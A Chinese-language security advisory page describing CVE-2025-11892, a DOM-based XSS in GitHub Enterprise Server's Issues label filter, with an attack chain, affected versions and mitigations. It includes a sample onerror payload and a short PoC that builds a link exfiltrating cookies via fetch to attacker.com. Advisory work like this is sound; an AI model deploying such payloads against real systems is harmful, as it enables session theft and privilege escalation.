IPBUF安全漏洞报告
English
CVE-2025-11892 CVSS 9.6 严重

CVE-2025-11892: GitHub Enterprise Server Issues搜索标签过滤器DOM型XSS漏洞

披露日期: 2025-11-10

漏洞信息

漏洞编号
CVE-2025-11892
漏洞类型
DOM型跨站脚本攻击(XSS)
CVSS评分
9.6 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
GitHub Enterprise Server

相关标签

DOM型XSS跨站脚本攻击GitHub Enterprise Server权限提升特权升级工作流注入CVE-2025-11892CVSS 9.6DOM-based XSSPrivilege Escalation

漏洞概述

CVE-2025-11892是GitHub Enterprise Server中一个严重的DOM型跨站脚本(XSS)漏洞,CVSS评分高达9.6(严重级别)。该漏洞存在于Issues功能的搜索标签过滤器中,由于对用户输入的不当处理,导致攻击者可以在受害者的浏览器中执行恶意JavaScript代码。攻击成功的关键条件是目标用户必须在sudo模式下操作,并且被诱骗点击攻击者精心构造的恶意链接。一旦利用成功,攻击者可以执行特权操作,如权限提升和触发未授权的GitHub Actions工作流,对企业级GitHub部署的安全性构成严重威胁。该漏洞影响GitHub Enterprise Server的多个历史版本,涵盖3.14至3.18的主要版本分支。

技术细节

该漏洞是一个典型的DOM型XSS,攻击向量位于GitHub Enterprise Server的Issues搜索功能中的标签过滤器部分。攻击者通过在URL参数中注入恶意构造的JavaScript payload,当受害者(处于sudo模式)访问包含该payload的链接时,浏览器的DOM解析器会错误地将恶意代码作为合法脚本执行。根本原因在于前端JavaScript代码直接使用document.location、document.URL或innerHTML等API处理用户可控的输入,而未进行适当的输入验证或编码转义。攻击者可以利用此漏洞窃取sudo会话token、操作用户权限、触发恶意工作流执行敏感操作。DOM型XSS的特殊之处在于攻击载荷从不经过服务器端直接到达客户端,由客户端JavaScript动态生成页面时触发,这使得传统的服务器端WAF难以检测此类攻击。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标GitHub Enterprise Server实例版本,确认其是否在受影响版本范围内(<3.14.19, <3.15.14, <3.16.10, <3.17.7, <3.18.1)
STEP 2
步骤2: 构造恶意链接
攻击者构建包含XSS payload的恶意URL,将JavaScript代码注入到Issues搜索的label参数中,如:/issues?q=label:<img src=x onerror=alert(document.cookie)>
STEP 3
步骤3: 社会工程攻击
攻击者通过钓鱼邮件、即时消息或其他渠道诱骗具有sudo权限的目标用户在登录状态下点击该恶意链接
STEP 4
步骤4: XSS执行
当受害者点击链接时,GitHub Enterprise Server的前端JavaScript解析label参数并将恶意代码作为DOM的一部分执行
STEP 5
步骤5: 权限提升
恶意脚本窃取sudo会话token或执行特权操作,如修改仓库设置、创建恶意工作流、窃取敏感代码或提升其他用户权限
STEP 6
步骤6: 持久化控制
攻击者可能进一步创建后门账户或修改工作流配置以维持长期访问权限

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// Malicious URL payload for CVE-2025-11892 // Target: GitHub Enterprise Server Issues search label filter // Note: Requires victim to be in sudo mode and click the link const maliciousPayload = `"><img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)">`; const targetURL = `https://github.enterprise.com/issues?q=label:${encodeURIComponent(maliciousPayload)}`; // Attack chain: // 1. Attacker crafts malicious URL with XSS payload in label parameter // 2. Victim in sudo mode clicks the link // 3. Browser parses page and executes injected JavaScript // 4. Attacker steals sudo session token or performs privileged actions console.log('Malicious URL:', targetURL); console.log('Encoded payload:', encodeURIComponent(maliciousPayload));

影响范围

GitHub Enterprise Server < 3.14.19
GitHub Enterprise Server < 3.15.14
GitHub Enterprise Server < 3.16.10
GitHub Enterprise Server < 3.17.7
GitHub Enterprise Server < 3.18.1

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时缓解措施:1) 限制sudo模式的使用频率和时长,避免长期保持高权限会话;2) 对所有Issues相关URL实施严格的输入验证和过滤;3) 配置Web应用防火墙(WAF)规则检测常见的XSS攻击模式;4) 加强用户安全意识培训,警惕来自未知来源的链接;5) 启用GitHub Enterprise Server的审计日志功能,监控异常操作;6) 考虑临时禁用Issues搜索功能或限制其访问权限。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表